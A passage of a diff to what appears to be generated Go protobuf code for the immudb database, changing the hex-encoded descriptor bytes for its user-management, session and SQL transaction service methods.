0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, - 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, - 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, - 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, - 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x75, 0x0a, 0x10, 0x43, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, - 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x3a, - 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, - 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, - 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, - 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, + 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, + 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, + 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, + 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, + 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, + 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0x99, 0x01, + 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, + 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, + 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, + 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, + 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, + 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, + 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, + 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x39, 0x0a, 0x0c, 0x4e, 0x65, 0x77, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, + 0x6d, 0x6f, 0x64, 0x65, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, + 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, + 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, + 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, + 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, + 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, + 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, + 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, + 0x6c, 0x61, 0x79, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x54, 0x79, 0x70, 0x65, + 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, 0x43, 0x4c, 0x55, 0x44, + 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, 0x44, 0x49, 0x47, 0x45, + 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, 0x56, 0x41, 0x4c, 0x55, + 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, 0x56, 0x45, 0x10, 0x03, + 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, 0x54, 0x10, 0x00, 0x12, + 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, 0x34, 0x0a, 0x06, 0x54, + 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, 0x64, 0x4f, 0x6e, 0x6c, + 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, 0x4f, 0x6e, 0x6c, 0x79, + 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, 0x69, 0x74, 0x65, 0x10, + 0x02, 0x32, 0xea, 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, + 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, 0x72, 0x73, 0x12, 0x16, + 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x22, + 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x6c, + 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x10, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, + 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, + 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x52, 0x65, + 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x20, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, + 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x3a, 0x01, 0x2a, 0x12, + 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, 0x22, 0x16, 0x2f, 0x75, 0x73, + 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, + 0x69, 0x6f, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, + 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x22, 0x13, 0x2f, 0x75, + 0x73, 0x65, 0x72, 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, + 0x72, 0x3a, 0x01, 0x2a, 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x41, 0x75, + 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, + 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, + 0x12, 0x4a, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x41, 0x75, 0x74, 0x68, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x4a, 0x0a, 0x10, - 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4d, 0x54, 0x4c, 0x53, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x1a, 0x16, 0x2e, 0x67, 0x6f, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, + 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, + 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x00, 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, + 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, + 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, + 0x69, 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x03, 0x88, 0x02, 0x01, 0x12, 0x56, 0x0a, 0x0b, 0x4f, 0x70, 0x65, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x22, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4f, 0x70, 0x65, 0x6e, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, - 0x12, 0x40, 0x0a, 0x0c, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, + 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, + 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, + 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, + 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, + 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, + 0x0a, 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, + 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, + 0x54, 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, + 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, 0x76, 0x65, 0x12, - 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, - 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, - 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 